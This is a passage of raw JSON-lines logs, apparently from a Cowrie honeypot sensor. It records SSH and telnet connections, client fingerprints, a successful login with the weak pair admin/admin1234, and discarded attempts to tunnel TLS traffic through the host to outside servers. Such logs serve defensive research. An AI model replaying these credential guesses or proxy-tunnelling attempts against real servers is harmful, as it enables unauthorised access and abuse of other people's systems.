b\\x97_Mj\\xcb\\xdei:\\xba\\x199\\x91~au\\xba\\xb2\\xca\\x88\\xafV{uD\\x96HV\\xd7\\xa5)@\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb1\\xaeJ\\x1f\\xd2\\xb6&\\x1f\\xe8\\xd3W\\xbd\\x80\\'\\xa3wb\\xbf\\x8d\\x17\\x87\\xdfi\\xa6\\xeb\\xb5A\\xc51q|\\xed \\xea9w\\xe9\\x03;\\xf4{\\x177\\xc2e\\xfa\\xfd\\x8b\\xfc\\x1e\\xb3\\xdbO\\xf0\\xaa\\x80\\xd7\\x88\\x0bL\\xe1\\x1c9\\\\\\xac\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 b\\x97_Mj\\xcb\\xdei:\\xba\\x199\\x91~au\\xba\\xb2\\xca\\x88\\xafV{uD\\x96HV\\xd7\\xa5)@\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:45.879409Z","src_ip":"23.175.50.51","session":"79a79c96f9a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.7","message":"Connection lost after 12.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:47.390149Z","src_ip":"23.175.50.51","session":"79a79c96f9a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":64077,"dst_ip":"10.17.0.5","dst_port":22,"session":"9981a6450221","protocol":"ssh","message":"New connection: 123.27.168.40:64077 (10.17.0.5:22) [session: 9981a6450221]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:50.994088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:50.998234Z","src_ip":"123.27.168.40","session":"9981a6450221","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:51.249905Z","src_ip":"123.27.168.40","session":"9981a6450221","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:52.384850Z","src_ip":"123.27.168.40","session":"9981a6450221","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:52.903466Z","session":"9981a6450221","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:53.150172Z","src_ip":"123.27.168.40","session":"9981a6450221","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03k\\xdd\\xe6\\x9c\\xa5\\xd8\\x86|7\\xab\\x1fL\\xf3X\\x84x\\x93\\xf6\\x1eu(\\x11F\\xd2\\xfc;\\xd2*\\xdb@\\xa7\\xff \\xd0\\x10\\x8c\\x86\\xcdU#\\xd4\\xaa`J\\xd4c1]\\xac\\xa7Y\\xfc\\xb9}G\\xad\\xd2\\xff^\\xf1\\xa4g\\xd6\\xe3\\xf3\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\t\\xc6Sa\\x92\\x1fx\\n\\xc5?\\x94\\xa3\\xab\\xb9F\\x85\\xd6\\xd2r\\xa2\\xca\\xa9<\\x9e\\xbc\\xde\\x87\\x8e\\xca\\xe7\\x02f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03k\\xdd\\xe6\\x9c\\xa5\\xd8\\x86|7\\xab\\x1fL\\xf3X\\x84x\\x93\\xf6\\x1eu(\\x11F\\xd2\\xfc;\\xd2*\\xdb@\\xa7\\xff \\xd0\\x10\\x8c\\x86\\xcdU#\\xd4\\xaa`J\\xd4c1]\\xac\\xa7Y\\xfc\\xb9}G\\xad\\xd2\\xff^\\xf1\\xa4g\\xd6\\xe3\\xf3\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\t\\xc6Sa\\x92\\x1fx\\n\\xc5?\\x94\\xa3\\xab\\xb9F\\x85\\xd6\\xd2r\\xa2\\xca\\xa9<\\x9e\\xbc\\xde\\x87\\x8e\\xca\\xe7\\x02f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:53.153891Z","src_ip":"123.27.168.40","session":"9981a6450221","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:53.401950Z","session":"9981a6450221","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:53.647936Z","src_ip":"123.27.168.40","session":"9981a6450221","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc4\\xcf\\xaa\\x1c\\xd7\\xf8\\x83\\xef\\xebvK\\x9f\\xaf\\xaa\\xaf<\\xd0\\xdd?\\xf8\\xdc9up\\x18g\\xe5\\xf5\\x12/&\\xc0 j\\xf6G~\\x9b\\x12y\\x94\\xd6\\x97\\xf9@G\\xf4j\\x99\\xf8\\xabH\\x11\\xa0F\\x1b\\xce:\\x15\\xef\\x84\\x0c\\x1c\\x14\\xc6\\x00\"\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\x13\\x8dv@d\\xb6\\xacI\\xfe\\xe8|\\x8c\\xf1c\\xbc)f\\xcd\\x81\\x04\\x8cz\\xa8~\\xec\\xdf)\\xfb\\x92/\\xa0\\x06\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc4\\xcf\\xaa\\x1c\\xd7\\xf8\\x83\\xef\\xebvK\\x9f\\xaf\\xaa\\xaf<\\xd0\\xdd?\\xf8\\xdc9up\\x18g\\xe5\\xf5\\x12/&\\xc0 j\\xf6G~\\x9b\\x12y\\x94\\xd6\\x97\\xf9@G\\xf4j\\x99\\xf8\\xabH\\x11\\xa0F\\x1b\\xce:\\x15\\xef\\x84\\x0c\\x1c\\x14\\xc6\\x00\"\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\x13\\x8dv@d\\xb6\\xacI\\xfe\\xe8|\\x8c\\xf1c\\xbc)f\\xcd\\x81\\x04\\x8cz\\xa8~\\xec\\xdf)\\xfb\\x92/\\xa0\\x06\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:53.651170Z","src_ip":"123.27.168.40","session":"9981a6450221","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:54.024070Z","src_ip":"123.27.168.40","session":"9981a6450221","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":49530,"dst_ip":"159.203.135.109","dst_port":23,"session":"42010b8a2f0b","protocol":"telnet","message":"New connection: 172.81.62.90:49530 (159.203.135.109:23) [session: 42010b8a2f0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:58.163388Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.47","src_port":61888,"dst_ip":"10.17.0.5","dst_port":22,"session":"55c36ca442a3","protocol":"ssh","message":"New connection: 23.175.50.47:61888 (10.17.0.5:22) [session: 55c36ca442a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:58.422598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:58.469565Z","src_ip":"23.175.50.47","session":"55c36ca442a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-